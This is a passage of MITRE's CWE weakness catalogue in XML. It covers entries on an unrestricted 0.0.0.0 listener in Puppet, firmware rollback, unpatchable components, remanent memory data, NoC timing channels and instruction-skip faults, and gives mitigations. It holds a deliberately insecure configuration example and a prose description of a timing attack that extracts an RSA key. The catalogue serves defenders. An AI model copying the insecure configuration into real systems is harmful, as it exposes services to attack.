					<Intro_Text>The following code snippet uses 0.0.0.0 in a Puppet script.</Intro_Text>
					<Example_Code Nature="Bad" Language="Other">
					signingserver::instance {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					  "nightly-key-signing-server":
					  <xhtml:div style="margin-left:1em;">
					  listenaddr     =&gt; "0.0.0.0",<xhtml:br/>
					  port           =&gt; "9100",<xhtml:br/>
					  code_tag       =&gt; "SIGNING_SERVER",<xhtml:br/>
					  </xhtml:div>
					  }<xhtml:br/>
					</xhtml:div>
					</Example_Code>
					<Body_Text>The Puppet code snippet is used to provision a signing server that will use 0.0.0.0 to accept traffic. However, as 0.0.0.0 is unrestricted, malicious users may use this IP address to launch frequent requests and cause denial of service attacks.</Body_Text>
					<Example_Code Nature="Good" Language="Other">
					signingserver::instance {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					  "nightly-key-signing-server":
					  <xhtml:div style="margin-left:1em;">
					  listenaddr     =&gt; "127.0.0.1",<xhtml:br/>
					  port           =&gt; "9100",<xhtml:br/>
					  code_tag       =&gt; "SIGNING_SERVER",<xhtml:br/>
					  </xhtml:div>
					  }<xhtml:br/>
					</xhtml:div>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1158"/>
				<Reference External_Reference_ID="REF-1159"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Akond Rahman</Submission_Name>
					<Submission_Organization>Tennessee Technological University</Submission_Organization>
					<Submission_Date>2020-09-08</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1328" Name="Security Version Number Mutable to Older Versions" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions.</Description>
			<Extended_Description>
				<xhtml:p>A System-on-Chip (SoC) implements secure boot or verified boot. It might support a security version number, which prevents downgrading the current firmware to a vulnerable version. Once downgraded to a previous version, an adversary can launch exploits on the SoC and thus compromise the security of the SoC. These downgrade attacks are also referred to as roll-back attacks.</xhtml:p>
				<xhtml:p>The security version number must be stored securely and persistently across power-on resets. A common weakness is that the security version number is modifiable by an adversary, allowing roll-back or downgrade attacks or, under certain circumstances, preventing upgrades (i.e. Denial-of-Service on upgrades). In both cases, the SoC is in a vulnerable state.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="757" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Security Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during hardware architecture and design, and can be identified later during testing or system configuration phases.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Impact>Other</Impact>
					<Likelihood>High</Likelihood>
					<Note>Impact includes roll-back or downgrade to a vulnerable version of the firmware or DoS (prevent upgrades).</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Automated Dynamic Analysis</Method>
				<Description>Mutability of stored security version numbers and programming with older firmware images should be part of automated testing.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Architecture or Design Review</Method>
				<Description>Anti-roll-back features should be reviewed as part of Architecture or Design review.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>When architecting the system, security version data should be designated for storage in registers that are either read-only or have access controls that prevent modification by an untrusted agent.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>During implementation and test, security version data should be demonstrated to be read-only and access controls should be validated.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>A new version of firmware is signed with a security version number higher than the previous version. During the firmware update process the SoC checks for the security version number and upgrades the SoC firmware with the latest version. This security version number is stored in persistent memory upon successful upgrade for use across power-on resets. </Intro_Text>
					<Body_Text>In general, if the security version number is mutable, the implementation is vulnerable. A mutable security version number allows an adversary to change the security version to a lower value to allow roll-back or to a higher value to prevent future upgrades. </Body_Text>
					<Body_Text>The security version number should be stored in immutable hardware such as fuses, and the writes to these fuses should be highly access-controlled with appropriate authentication and authorization protections.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="176"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-25</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1329" Name="Reliance on Component That is Not Updateable" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.</Description>
			<Extended_Description>
			  <xhtml:p>
			  If the component is discovered to contain a vulnerability or critical bug, but the issue cannot be fixed using an update or patch, then the product's owner will not be able to protect against the issue.  The only option might be replacement of the product, which could be too financially or operationally expensive for the product owner.  As a result, the inability to patch or update can leave the product open to attacker exploitation or critical operation failures. This weakness can be especially difficult to manage when using ROM, firmware, or similar components that traditionally have had limited or no update capabilities.
			  </xhtml:p>
			  <xhtml:p>
			    In industries such as healthcare, "legacy"
			    devices can be operated for decades.  As a
			    US task force report [REF-1197] notes, "the inability
			    to update or replace equipment has both
			    large and small health care delivery
			    organizations struggle with numerous
			    unsupported legacy systems that cannot
			    easily be replaced (hardware, software, and
			    operating systems) with large numbers of
			    vulnerabilities and few modern
			    countermeasures."
			    </xhtml:p>
			  <xhtml:p>
			    While hardware can be prone to this weakness, software systems can also be affected, such as when a third-party driver or library is no longer actively maintained or supported but is still critical for the required functionality.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="1357" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000"/>
			</Related_Weaknesses>
			<Weakness_Ordinalities>
			  <Weakness_Ordinality>
			    <Ordinality>Primary</Ordinality>
			  </Weakness_Ordinality>
			</Weakness_Ordinalities>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Class="ICS/OT" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Requirements</Phase>
					<Note>Requirements development might not consider the importance of updates over the lifetime of the product or might intentionally exclude this capability due to concerns such as expense or speed to market.</Note>
				</Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Lack of planning during architecture development and design, or external pressures such as speed to market, could ignore the capability to update.</Note>
				</Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Designers might omit capabilities for updating a component due to time pressures to release the product or assumptions about the stability of the component.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The weakness can appear through oversight during implementation.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Other</Scope>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>Quality Degradation</Impact>
					<Impact>Reduce Maintainability</Impact>
					<Note>If an attacker can identify an exploitable vulnerability in one product that has no means of patching, the attack may be used against all affected versions of that product.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Architecture or Design Review</Method>
			    <Description>Check the consumer or maintainer documentation, the architecture/design documentation, or the original requirements to ensure that the documentation includes details for how to update the firmware.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Requirements</Phase>
					<Description>Specify requirements that each component should be updateable, including ROM, firmware, etc.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Design the product to allow for updating of its components. Include the external infrastructure that might be necessary to support updates, such as distribution servers.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>
					    With hardware, support patches that can be programmed in-field or during manufacturing through hardware fuses. This feature can be used for limited patching of devices after shipping, or for the next batch of silicon devices manufactured, without changing the full device ROM.
                    </Description>
                    <Effectiveness>Moderate</Effectiveness>
                    <Effectiveness_Notes>
                        Some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable."  Hardware-fuse-based patches will also have limitations in terms of size and the number of patches that can be supported.
                    </Effectiveness_Notes>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Implement the necessary functionality to allow each component to be updated.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example Demonstrative_Example_ID="DX-145">
					<Intro_Text>A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.</Intro_Text>
					<Example_Code Nature="Bad" Language="Other">The refrigerator has no means of patching and is hacked becoming a spewer of email spam.</Example_Code>
					<Example_Code Nature="Good" Language="Other">The device automatically patches itself and provides considerable more protection against being hacked.</Example_Code>
				</Demonstrative_Example>
				<Demonstrative_Example Demonstrative_Example_ID="DX-146">
					<Intro_Text>
						<xhtml:p>A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.</xhtml:p>
					</Intro_Text>
					<Body_Text>ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
      			  <Observed_Example>
        		    <Reference>CVE-2020-9054</Reference>
        		    <Description>Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097]</Description>
        		    <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
      			  </Observed_Example>
      			</Observed_Examples>
			<References>
				<Reference External_Reference_ID="REF-1197" Section="Executive Summary"/>
				<Reference External_Reference_ID="REF-1097"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-12-03</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1330" Name="Remanent Data Readable after Memory Erase" Abstraction="Variant" Structure="Simple" Status="Draft">
			<Description>Confidential information stored in memory circuits is readable or recoverable after being cleared or erased.</Description>
			<Extended_Description>
				<xhtml:p>Data remanence occurs when stored, memory content is not fully lost after a memory-clear or -erase operation. Confidential memory contents can still be readable through data remanence in the hardware.</xhtml:p>
				<xhtml:p>Data remanence can occur because of performance optimization or memory organization during 'clear' or 'erase' operations, like a design that allows the memory-organization metadata (e.g., file pointers) to be erased without erasing the actual memory content. To protect against this weakness, memory devices will often support different commands for optimized memory erase and explicit secure erase.</xhtml:p>
				<xhtml:p>Data remanence can also happen because of the physical properties of memory circuits in use. For example, static, random-access-memory (SRAM) and dynamic, random-access-memory (DRAM) data retention is based on the charge retained in the memory cell, which depends on factors such as power supply, refresh rates, and temperature.</xhtml:p>
				<xhtml:p>Other than explicit erase commands, self-encrypting, secure-memory devices can also support secure erase through cryptographic erase commands. In such designs, only the decryption keys for encrypted data stored on the device are erased. That is, the stored data are always remnant in the media after a cryptographic erase. However, only the encrypted data can be extracted. Thus, protection against data recovery in such designs relies on the strength of the encryption algorithm.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1301" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="1301" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Security Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
               		<Phase>Architecture and Design</Phase>
            	</Introduction>
           		<Introduction>
               		<Phase>Implementation</Phase>
            	</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Note>Confidential data are readable to untrusted agent.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
					<Method>Architecture or Design Review</Method>
					<Description>
					<xhtml:ul>
					<xhtml:li>Testing of memory-device contents after clearing or erase commands.</xhtml:li>
					<xhtml:li>Dynamic analysis of memory contents during device operation to detect specific, confidential assets.</xhtml:li>
					<xhtml:li>Architecture and design analysis of memory clear and erase operations.</xhtml:li>
					</xhtml:ul>
					</Description>
				</Detection_Method>
				<Detection_Method>
					<Method>Dynamic Analysis with Manual Results Interpretation</Method>
					<Description>
					<xhtml:ul>
					<xhtml:li>Testing of memory-device contents after clearing or erase commands.</xhtml:li>
					<xhtml:li>Dynamic analysis of memory contents during device operation to detect specific, confidential assets.</xhtml:li>
					<xhtml:li>Architecture and design analysis of memory clear and erase operations.</xhtml:li>
					</xhtml:ul>
					</Description>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>
					<xhtml:ul>
					<xhtml:li>Support for secure-erase commands that apply multiple cycles of overwriting memory with known patterns and of erasing actual content.</xhtml:li>
					<xhtml:li>Support for cryptographic erase in self-encrypting, memory devices.</xhtml:li>
					<xhtml:li>External, physical tools to erase memory such as ultraviolet-rays-based erase of Electrically erasable, programmable, read-only memory (EEPROM).</xhtml:li>
					<xhtml:li>Physical destruction of media device. This is done for repurposed or scrapped devices that are no longer in use.</xhtml:li>
					</xhtml:ul>
					</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Consider a device that uses flash memory for non-volatile-data storage. To optimize flash-access performance or reliable-flash lifetime, the device might limit the number of flash writes/erases by maintaining some state in internal SRAM and only committing changes to flash memory periodically.</Intro_Text>
					<Body_Text>The device also supports user reset to factory defaults with the expectation that all personal information is erased from the device after this operation. On factory reset, user files are erased using explicit, erase commands supported by the flash device.</Body_Text>
					<Body_Text>In the given, system design, the flash-file system can support performance-optimized erase such that only the file metadata are erased and not the content. If this optimized erase is used for files containing user data during factory-reset flow, then device, flash memory can contain remanent data from these files.</Body_Text>
					<Body_Text>On device-factory reset, the implementation might not erase these copies, since the file organization has changed and the flash file system does not have the metadata to track all previous copies.</Body_Text>
					<Body_Text>A flash-memory region that is used by a flash-file system should be fully erased as part of the factory-reset flow. This should include secure-erase flow for the flash media such as overwriting patterns multiple times followed by erase.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2019-8575</Reference>
					<Description>Firmware Data Deletion Vulnerability in which a base station factory reset might not delete all user information. The impact of this enables a new owner of a used device that has been "factory-default reset" with a vulnerable firmware version can still retrieve, at least, the previous owner's wireless network name, and the previous owner's wireless security (such as WPA2) key. This issue was addressed with improved, data deletion.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-8575</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1154"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Hareesh Khattri, Arun Kanuparthi, Parbati K. Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-06-10</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1331" Name="Improper Isolation of Shared Resources in Network On Chip (NoC)" Abstraction="Base" Structure="Simple" Status="Stable">
			<Description>The Network On Chip (NoC) does not isolate or incorrectly isolates its on-chip-fabric and internal resources such that they are shared between trusted and untrusted agents, creating timing channels.</Description>
			<Extended_Description>
			  <xhtml:p>Typically, network on chips (NoC) have many internal resources that are shared between packets from different trust domains. These resources include internal buffers, crossbars and switches, individual ports, and channels. The sharing of resources causes contention and introduces interference between differently trusted domains, which poses a security threat via a timing channel, allowing attackers to infer data that belongs to a trusted agent. This may also result in introducing network interference, resulting in degraded throughput and latency.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="653" View_ID="1000" Ordinal="Primary"/>
			  <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000"/>
			  <Related_Weakness Nature="PeerOf" CWE_ID="1189" View_ID="1194"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Security Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Background_Details>
			  <Background_Detail>
			    <xhtml:p>"Network-on-chip" (NoC) is a commonly-used term used for hardware interconnect fabrics used by multicore Systems-on-Chip (SoC).  Communication between modules on the chip uses packet-based methods, with improved efficiency and scalability compared to bus architectures [REF-1241].</xhtml:p>
			  </Background_Detail>
			</Background_Details>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Availability</Scope>
					<Impact>DoS: Resource Consumption (Other)</Impact>
					<Impact>Varies by Context</Impact>
					<Impact>Other</Impact>
					<Likelihood>Medium</Likelihood>
					<Note>Attackers may infer data that belongs to a trusted agent. The methods used to perform this attack may result in noticeably increased resource consumption.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>Providing marker flags to send through the interfaces coupled with examination of which users are able to read or manipulate the flags will help verify that the proper isolation has been achieved and is effective.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>Implement priority-based arbitration inside the NoC and have dedicated buffers or virtual channels for routing secret data from trusted agents.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Consider a NoC that implements a one-dimensional mesh network with four nodes. This supports two flows: Flow A from node 0 to node 3 (via node 1 and node 2) and Flow B from node 1 to node 2. Flows A and B share a common link between Node 1 and Node 2.  Only one flow can use the link in each cycle.</Intro_Text>
					<Body_Text>One of the masters to this NoC implements a cryptographic algorithm (RSA), and another master to the NoC is a core that can be exercised by an attacker. The RSA algorithm performs a modulo multiplication of two large numbers and depends on each bit of the secret key. The algorithm examines each bit in the secret key and only performs multiplication if the bit is 1. This algorithm is known to be prone to timing attacks. Whenever RSA performs multiplication, there is additional network traffic to the memory controller. One of the reasons for this is cache conflicts.</Body_Text>
					<Body_Text>Since this is a one-dimensional mesh, only one flow can use the link in each cycle.  Also, packets from the attack program and the RSA program share the output port of the network-on-chip.  This contention results in network interference, and the throughput and latency of one flow can be affected by the other flow's demand.</Body_Text>
					<Example_Code Nature="Attack">
					  The attacker runs a loop program on the core they control, and this causes a cache miss in every iteration for the RSA algorithm. Thus, by observing network-traffic bandwidth and timing, the attack program can determine when the RSA algorithm is doing a multiply operation (i.e., when the secret key bit is 1) and eventually extract the entire, secret key.</Example_Code>
					<Body_Text>There may be different ways to fix this particular weakness.</Body_Text>
					<Example_Code Nature="Good" Language="Other">
					Implement priority-based arbitration inside the NoC and have dedicated buffers or virtual channels for routing secret data from trusted agents.
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="124"/>
         </Related_Attack_Patterns>
         <References>
	   <Reference External_Reference_ID="REF-1155"/>
	   <Reference External_Reference_ID="REF-1241"/>
	   <Reference External_Reference_ID="REF-1242"/>
	   <Reference External_Reference_ID="REF-1245"/>
	 </References>
	 <Content_History>
	   <Submission>
	     <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati K. Manna</Submission_Name>
	     <Submission_Organization>Intel Corporation</Submission_Organization>
	     <Submission_Date>2020-05-23</Submission_Date>
	   </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Detection_Factors, Name, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
	   <Contribution Type="Content">
	     <Contribution_Name>Hareesh Khattri</Contribution_Name>
	     <Contribution_Organization>Intel Corporation</Contribution_Organization>
	     <Contribution_Date>2021-10-22</Contribution_Date>
	     <Contribution_Comment>provided references and background information</Contribution_Comment>
	   </Contribution>
			<Previous_Entry_Name Date="2021-10-28">Improper Isolation of Shared Resources in Network On Chip</Previous_Entry_Name>
	 </Content_History>
       </Weakness>
      <Weakness ID="1332" Name="Improper Handling of Faults that Lead to Instruction Skips" Abstraction="Base" Structure="Simple" Status="Stable">
            <Description>The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.</Description>
			<Extended_Description>
              <xhtml:p>The operating conditions of hardware may change
              in ways that cause unexpected behavior to occur,
              including the skipping of security-critical CPU
              instructions. Generally, this can occur due to
              electrical disturbances or when the device operates
              outside of its expected conditions.</xhtml:p>
			  <xhtml:p>In practice, application code may contain
			  conditional branches that are security-sensitive (e.g.,
			  accepting or rejecting a user-provided password). These
			  conditional branches are typically implemented by a
			  single conditional branch instruction in the program
			  binary which, if skipped, may lead to effectively
			  flipping the branch condition - i.e., causing the wrong
			  security-sensitive branch to be taken. This affects
			  processes such as firmware authentication, password
			  verification, and other security-sensitive decision
			  points.</xhtml:p>
			  <xhtml:p>Attackers can use fault injection techniques to
			  alter the operating conditions of hardware so that
			  security-critical instructions are skipped more
			  frequently or more reliably than they would in a
			  "natural" setting.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1384" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="1247" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
                    <Note>Failure to design appropriate countermeasures to common fault injection techniques can manifest this weakness.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>This weakness can arise if the hardware design incorrectly implements countermeasures to prevent fault injection.</Note>
				</Introduction>
			</Modes_Of_Introduction>
